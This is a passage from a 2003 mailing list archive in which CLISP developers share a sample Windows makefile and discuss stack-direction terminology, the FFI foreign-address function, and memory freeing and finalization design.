([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sInP-00053F-00 for ; Mon, 10 Mar 2003 00:38:08 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 10 Mar 2003 09:37:53 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Mar 2003 09:37:52 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0287AA6E@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: crewk@yahoo.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: FFI with a .dll (MSVC Makefile) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 10 00:39:06 2003 X-Original-Date: Mon, 10 Mar 2003 09:37:43 +0100 Hi, I've been asked for sample Makefiles. Here's what I added somewhere amid the makefile(.msvc5/6) that comes with the CLISP source. See also my e-mail "now you can use the regexp module on MS-Windows" from 27.3.2002 which contains a makefile sample for modules/regexp/. Matthew Williams wrote: >modules.obj: error LNK2001: unresolved external symbol >_module__mtest__init_function_2 >lisp:exe : fatal error LNK1120: 8 unresolved externals ################################ Joerg's module playground genclisph.exe : genclisph.obj $(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe clisp.h : genclisph.exe genclisph.exe > clisp.h MODOBJECTS = \ ffimext.obj \ mtest.obj \ mcode.obj # mtest.c ought to be generated from mtest.lisp FFI defs, while # mcode.c contains hand-written C code. mtest.obj : mtest.c clisp.h $(CC) $(CFLAGS) -c mtest.c mcode.obj : mcode.c $(CC) $(CFLAGS) -c mcode.c ffimext.c : ffimext.d # comment5.exe ansidecl.exe varbrace.exe $(COMMENT5) ffimext.d | $(ANSIDECL) | $(VARBRACE) > ffimext.c ffimext.obj : ffimext.c sysdll.h # clisp.h $(CPP) $(CFLAGS) ffimext.c > ffimext.i.c $(CC) $(CFLAGS) -c ffimext.i.c $(RM) ffimext.obj $(MV) ffimext.i.obj ffimext.obj $(RM) ffimext.i.c lispm.exe : $(MODOBJECTS) $(OBJECTS) modules.obj avcall.lib callback.lib iconv.lib sigsegv.lib data $(RM) lisp.ilk $(CC) $(CFLAGS) $(CLFLAGS) $(MODOBJECTS) $(OBJECTS) modules.obj $(LIBS) /link /out:lispm.exe editbin /stack:3145728 lispm.exe It's all copy&paste&replace from other portions of the makefile. Note the lispm.exe target (instead of lisp.exe). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 10 01:52:56 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sJxl-0001FE-00 for ; Mon, 10 Mar 2003 01:52:54 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 10 Mar 2003 10:52:00 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Mar 2003 10:52:00 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0287AAF2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] on "increases STACK by n" in the CLISP source and up/down in the debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 10 01:53:07 2003 X-Original-Date: Mon, 10 Mar 2003 10:51:51 +0100 Hi, everytime I enter the CLISP debugger, I start to sweat because I feel = uncomfortable. If I do more than "abort/continue/:a" then I must issue = the HELP command. Why? In the output of help, I'm looking for the single most important line: >Bottom :b go to bottom (most recent) frame, inspect it Aha, so the bottom is the newest - surprise?. My brain now has to = backtrack, and it is well known that the human brain is bad at that. Likewise, when I look at the description of many procedures (UP) in the = C source code, there are comments like # UP: tests the limits for a String argument # increases STACK by 3 Question: will there be more or less arguments on the stack afterwards? What would be your response? My mental representation of a stack is that of a pile of paper. It = realises last-in-first-out (LIFO). The newest is at the top, the oldest = is hidden at the bottom, long forgotten. What is yours? "Increasing" the stack to me means putting more on it. In CLISP, it's = just the opposite. Similarly, I believe computer science or stack-oriented languages like = Forth have a concept of "top of stack" (TOS or ToS): "top" designates = the newest element, the one that will be popped next (if the stack is = not empty). In natural language or in psychology, going down means go to deeper = levels of memory or details - long seemingly forgotten things. C.G. = Young explained in his symbolic interpretation of dreams how a house's = cellar - at the bottom - not the houses' roof (loft) is a place where = you look for things of the past. CLISP's way is just the opposite of each of these usages. My model of a stack is not that of a stalactite where the newest drops = of water hang out at the bottom. What is your model of CLISP's stack? I suppose CLISP's usage of stack direction is based on a model of the = 680x0 processor, whose stack register A7 moves downwards - in terms of = memory addresses - when things are pushed on the stack (CLISP started = out in assembly language on an Atari computer), as do other processors = (80z86 etc.). Shall the effect of debugger commands like UP/DOWN and higher-level = program documentation depend on the direction of the register of some = processor the user does not care about? Say no! For years now, CLISP has imposed cognitive load and effort on me. Maybe = it's time to put at end to that. a) I stop using CLISP b) I stop complaining c) Comments in code get reversed, as well as the debugger commands. Thanks for your attention, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 10 04:47:53 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sMh2-0002xF-00 for ; Mon, 10 Mar 2003 04:47:48 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id NAA16845; Mon, 10 Mar 2003 13:42:05 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Mon, 10 Mar 2003 13:46:58 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Mar 2003 13:46:00 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0287ABBF@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI:foreign-address function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 10 04:48:14 2003 X-Original-Date: Mon, 10 Mar 2003 13:45:53 +0100 Aurelio Bignoli wrote: > > Note how I passed (FOREIGN-ADDRESS dest) >I couldn't find it: It looks like I forgot to submit a patch implementing the foreign-address constructor/extractor. I'm sorry about that. Here it is: http://sourceforge.net/tracker/index.php?func=detail&aid=700802&group_id=1355&atid=301355 As a quick hack & stop-gap measure, here's one version from "my FFI Lisp hacks toolbox #1", sent to the list on April, 12th 2002: (in-package "FFI") (defun foreign-address (foreign) (etypecase foreign (ffi:foreign-address foreign) ((or ffi:foreign-variable ffi:foreign-function) (sys::%record-ref foreign 1)))) You ought to wrap this inside (unless (fboundp 'foreign-address) (defun ...)) until you get an official CLISP with the foreign-address function already in it. The patch file in sourceforge contains a C implementation instead, and documentation. Regards, Jorg Hohle. From sds@gnu.org Mon Mar 10 08:42:41 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sQMK-0003DH-00 for ; Mon, 10 Mar 2003 08:42:40 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030310164234.VIID4892.out006.verizon.net@loiso.podval.org>; Mon, 10 Mar 2003 10:42:34 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2AGgvTx019653; Mon, 10 Mar 2003 11:42:57 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2AGgrFQ019646; Mon, 10 Mar 2003 11:42:53 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: Re: [clisp-list] on "increases STACK by n" in the CLISP source and up/down in the debugger References: <9F8582E37B2EE5498E76392AEDDCD3FE0287AAF2@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0287AAF2@G8PQD.blf01.telekom.de> Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.48.207] at Mon, 10 Mar 2003 10:42:33 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 10 08:43:14 2003 X-Original-Date: 10 Mar 2003 11:42:53 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287AAF2@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] on "increases STACK by n" in the CLISP source and up/down in the debugger" > * Sent on Mon, 10 Mar 2003 10:51:51 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > # UP: tests the limits for a String argument > # increases STACK by 3 > Question: will there be more or less arguments on the stack afterwards? > What would be your response? I could never understand this either. I prefer "adds 3 objects to STACK" or "removes 4 objects from STACK" or just "skipSTACK(-3)" or "skipSTACK(4)". > My mental representation of a stack is that of a pile of paper. It > realises last-in-first-out (LIFO). The newest is at the top, the > oldest is hidden at the bottom, long forgotten. What is yours? when I type bt, I want the most important, i.e., the most recent frame to be the last one printed, so that I won't have to scroll back up to see where I am (thus I _want_ bottom to mean bottom of the screen _and_ most recent frame). Unfortunately, this is not easy to implement, so both gdb and clisp print the most recent frames at the top of the backtrace. what about other debuggers? > "Increasing" the stack to me means putting more on it. stack supports PUSH and POP. there is no INCF for stacks. so "increasing the stack" is a TYPE-ERROR. > c) Comments in code get reversed, as well as the debugger commands. Proposal: code comments: replace decrease/increase with push/pop debugger help: top == most recent. what do people think? Actually, I would like to replace comments "can trigger GC" with declarations GC_unsafe and comments "pushes 3 objects on the stack" with declarations push_STACK(3). E.g., get_buffers() in io.d will look like this: GC_unsafe push_stack(2) local void get_buffers (void) {} instead of # < STACK: decreased by 2 # can trigger GC local void get_buffers (void) {} -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Illiterate? Write today, for free help! From sds@gnu.org Mon Mar 10 09:15:38 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sQsE-0001lG-00 for ; Mon, 10 Mar 2003 09:15:38 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030310171531.WHZK7930.out004.verizon.net@loiso.podval.org>; Mon, 10 Mar 2003 11:15:31 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2AHFtTx019762; Mon, 10 Mar 2003 12:15:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2AHFrZ0019758; Mon, 10 Mar 2003 12:15:53 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, a.bignoli@computer.org Subject: Re: [clisp-list] FFI:foreign-address function References: <9F8582E37B2EE5498E76392AEDDCD3FE0287ABBF@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0287ABBF@G8PQD.blf01.telekom.de> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.48.207] at Mon, 10 Mar 2003 11:15:31 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 10 09:16:10 2003 X-Original-Date: 10 Mar 2003 12:15:53 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287ABBF@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] FFI:foreign-address function" > * Sent on Mon, 10 Mar 2003 13:45:53 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Aurelio Bignoli wrote: > > > Note how I passed (FOREIGN-ADDRESS dest) > >I couldn't find it: > > (in-package "FFI") > (defun foreign-address (foreign) > (etypecase foreign > (ffi:foreign-address foreign) > ((or ffi:foreign-variable ffi:foreign-function) > (sys::%record-ref foreign 1)))) or just (defun foreign-address (o) (ffi::unsigned-foreign-address (ffi::foreign-address-unsigned o))) (works right now!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Whom computers would destroy, they must first drive mad. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 11 00:21:03 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sf0P-0006aw-00 for ; Tue, 11 Mar 2003 00:21:01 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 11 Mar 2003 09:20:43 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Mar 2003 09:20:43 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4D9A8@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI:foreign-address function MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 00:22:02 2003 X-Original-Date: Tue, 11 Mar 2003 09:20:43 +0100 Sam Steingold suggested: >(defun foreign-address (o) > (ffi::unsigned-foreign-address (ffi::foreign-address-unsigned o))) Don't do this. It does not preserve EQ-ness of foreign-address objects. EQ-ness is important because of 1. VALIDP 2. MARK-INVALID-FOREIGN 3. sharing 4. FINALIZE In fact, I have a whole concept sitting in my brain about sharing FOREIGN-POINTER and FOREIGN-ADDRESS objects, with the ability to mark all related objects as invalid with a single MARK-INVALID-FOREIGN, and another concept not yet well thought out of bringing some of them back to life again, e.g. when restarting an image containing functions from a foreign library. The Amiga-CLISP FFI has shared foreign library bases for 7 years now, resurrecting foreign variables and functions based on this sharing of address objects. In fact, the Amiga is why CLISP got two separate FOREIGN-POINTER and FOREIGN-ADDRESS objects, where the latter encapsulates the former with the addition of a constant offset. My WITH-FOREIGN-STRING and -OBJECT macros (or rather, their functional equivalents) already mark the base pointers as stale when scope exits, preventing use of stale memory addresses. I recommend MARK-INVALID-FOREIGN to people using the new dynamic memory allocation functions FFI:DEEP-MALLOC and FFI:SIMPLE-CALLOC. This will safe you from C diseases of using deallocated memory via dangling pointers (see my malloc+free patch in sourceforge). If somebody asks, I'll explain why FOREIGN-FREE doesn't do this automatically. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 11 02:24:53 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sgwF-0008FA-00 for ; Tue, 11 Mar 2003 02:24:52 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 11 Mar 2003 11:24:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Mar 2003 11:24:42 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4DA59@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 03:24:00 2003 X-Original-Date: Tue, 11 Mar 2003 11:24:40 +0100 Hi, I wrote: >If somebody asks, I'll explain why >FOREIGN-FREE doesn't do this [invoke MARK-INVALID-FOREIGN] automatically. before seeing that Sam Steingold asked: >why doesn't foreign-free mark the object as invalid?! It would indeed be a safe thing to do on simple foreign memory. What I call simple is something where a single memory allocation was performed, e.g. what FFI:SIMPLE-CALLOC does. However, DEEP-MALLOC can perform many malloc() for arbitrarily nested substructures, as required by the foreign type. Yet it returns a single address to represent all of them. BTW, other FFI typically only have SIMPLE-CALLOC (UFFI, or perhaps with initialization, instead of all zeroes, like LW). Even a trivial-looking (DEEP-MALLOC 'c-string "abc") performs two allocations, as I mentioned in the documentation. FOREIGN-FREE, using the :FULL keyword is able to walk the foreign type declaration and free any complex structure. How to free any of these chunks individually, if the programmer needs that? Because of FOREIGN-ADDRESS sharing, DEREF, SLOT etc., when they return a foreign-variable object (or foreign place), all share the same object. This is valuable for stack-allocated foreign objects, but less so for individually malloc()'ed memory. Suppose you'd like to free the root address only. If you mark the base foreign-address as invalid, all others will be marked likewise and become unusable. Therefore, the programmer also needs a way to control sharing of pointer bases (and those offsets), which I have not yet fully devised. SET-FOREIGN-BASE was a candidate name. I defined a keyword-based interface for FOREIGN-FREE, with an eye on a future :mark-invalid option. However, I wanted to get working code out, for it had been sitting in my source tree for too long already, and I believe I cannot present FOREIGN-FREE :mark-invalid without explaining or providing a model for controlling the address sharing that CLISP does. I am not ready for that. So I agreed to disagree :), to move forward faster by providing a usable malloc() interface to CLISP users, a separate MARK-INVALID-FOREIGN function and to delay a hypothetical 100% solution. Yet I myself would like to be able to say (FINALIZE fv #'FREE+INVALIDATE) using a single provided function instead of repeating the same lambda every time: (FINALIZE fv #'(lambda (fv) (mark-invalid-foreign fv) (foreign-free fv :full t-or-nil-as-needed-by-the-individual-case))) Also, an automatic (FINALIZE fv #'FREE) done by SIMPLE-CALLOC or DEEP-MALLOC would be a bad idea in CLISP. This advice is specific to CLISP, because CLISP supports the :malloc-free allocation policy (though I believe there's very little use of it). The idea is that the foreign side may do the free(), Lisp would not know about it, thus FINALIZE would call it twice, which dumps core. OTOH, CormanLisp does automatic finalization of the dynamic memory it allocates and returns. It certainly is useful in most cases (>90%?) Talking about comparisons, what I like best is Lispworks' with-dynamic-objects (sp?): Upon dynamic exit of its scope, all malloc() which any FLI function did are free()ed. That is a reliable way of not forgetting some of them! I believe this is useful it most cases, as UNWIND-PROTECT is. In only a few cases would you like memory to live longer (cf. using OPEN vs. WITH-OPEN-FILE). However, I feel this is contradictory to CLISP's :malloc-free allocation policy where it is explicitly acknowledged cases where foreign code calls free() on memory allocated by Lisp. This is not covered in Lispworks or CormanLisp. It looks to me like two incompatible design paths. Depending on current fashion (like OO etc.) and time, one seems to cover more useful cases than the other. Typical for Java/C++/Ada style OO is more: allocation and deallocation is controlled on the same side, so there's nothing like malloc() here and free() there. I thought about adding malloc()/free() statistics to the output of EXT:SPACE. But I cannot count the number of bytes free() frees without duplicating its internal knowledge, which is a bad idea. Furthermore, I can not catch foreign free() or malloc() calls (to generate instances+bytes output for EXT:SPACE). I dismissed this, based on the idea that it would cost me a lot of effort to implement it in a 100% manner, with rare benefit to the programmer. It's a typical "nice/valuable to be able to turn on debug/logging/tracing/auditing mode on when needed" item. An easy option would be SPACE output where either bytes would always be empty, or a varying format line like "permanent-instances temporary-instances total-bytes-allocated". I thought about SETF VALID T/NIL in the past. Setf NIL would be ok. However, I decided it's a bad idea to reactivate a zombie address from the Lisp level. This shall be done by lower-level C code, which has much farther possibilities than the Lisp level, e.g. overwriting the bits of the pointer to point to a new address, preserving EQ-ness. The Lisp-level interface to controlling foreign-bases that I thought about is more limited, yet is supposed to cover enough cases. Think of how using C code, you could change the bits of a bignum object (I'd have uses for that), while at Lisp-level it's not possible. Live with that limitation in Lisp, accept MARK-INVALID-FOREIGN (which I found positive that it's more visible than setf on VALIDP) and remember C if you need more than that. And there's this voice whispering "over-engineered" somewhere around the CLISP FFI and me working on it. Hmm, how did I end up here? Regards, Jorg Hohle. From toy@rtp.ericsson.se Tue Mar 11 05:46:17 2003 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sk59-0007Uf-00 for ; Tue, 11 Mar 2003 05:46:15 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.12.8/8.12.8) with ESMTP id h2BDk5JA010438; Tue, 11 Mar 2003 07:46:05 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.12.8/8.12.8) with ESMTP id h2BDk4iI005703; Tue, 11 Mar 2003 07:46:04 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id CV678QJN; Tue, 11 Mar 2003 07:46:04 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id IAA06662; Tue, 11 Mar 2003 08:46:03 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.11.6+Sun/8.10.2) id h2BDk2v19528; Tue, 11 Mar 2003 08:46:02 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Using docbook for CLOS References: <15979.24309.484346.187606@dalet.fauser.it> From: Raymond Toy In-Reply-To: Message-ID: <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se> Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (cabbage) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 05:47:10 2003 X-Original-Date: 11 Mar 2003 08:46:02 -0500 >>>>> "Sam" == Sam Steingold writes: >> * In message <15979.24309.484346.187606@dalet.fauser.it> >> * On the subject of "Using docbook for CLOS" >> * Sent on Sun, 9 Mar 2003 16:34:13 +0100 >> * Honorable Aurelio Bignoli writes: >> >> The following message has been posted to the Docbook mailing >> list. Maybe the maintainers of CLISP documentation could be >> interested. Sam> I read that mailing list via Gmane but I cannot post because it is a Sam> closed mailing list (and I no longer subscribe to non-mailman mailing Hmm, I do the same, but use a newsreader to access the list. On the first posting, I have to authenticate myself once to Gmane by responding to it's e-mail request, but once authenticated, I no longer have to. Ray From sds@gnu.org Tue Mar 11 06:42:41 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18skxl-0001I6-00 for ; Tue, 11 Mar 2003 06:42:41 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030311144234.CZRW7930.out004.verizon.net@loiso.podval.org>; Tue, 11 Mar 2003 08:42:34 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2BEh0Tx022794; Tue, 11 Mar 2003 09:43:00 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2BEgt48022790; Tue, 11 Mar 2003 09:42:55 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Using docbook for CLOS References: <15979.24309.484346.187606@dalet.fauser.it> <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.48.207] at Tue, 11 Mar 2003 08:42:34 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 11 06:43:10 2003 X-Original-Date: 11 Mar 2003 09:42:55 -0500 > * In message <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se> > * On the subject of "Re: [clisp-list] Re: Using docbook for CLOS" > * Sent on 11 Mar 2003 08:46:02 -0500 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> I read that mailing list via Gmane but I cannot post because it is a > Sam> closed mailing list (and I no longer subscribe to non-mailman mailing > > Hmm, I do the same, but use a newsreader to access the list. On the > first posting, I have to authenticate myself once to Gmane by > responding to it's e-mail request, but once authenticated, I no longer > have to. yes, I do too, but the docbook mailing lists are marked "read-only" and gmane refuses to post there: You have tried posting to gmane.text.docbook.misc, which is a non-public mailing list. Gmane can therefore not send this message to that mailing list. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If abortion is murder, then oral sex is cannibalism. From toy@rtp.ericsson.se Tue Mar 11 06:46:28 2003 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18sl1P-0002rY-00 for ; Tue, 11 Mar 2003 06:46:28 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.12.8/8.12.8) with ESMTP id h2BEkQJA001065 for ; Tue, 11 Mar 2003 08:46:26 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr6.exu.ericsson.se (8.12.8/8.12.8) with ESMTP id h2BEkQZm019342 for ; Tue, 11 Mar 2003 08:46:26 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id CV679ABN; Tue, 11 Mar 2003 08:46:25 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA07827 for ; Tue, 11 Mar 2003 09:46:25 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se 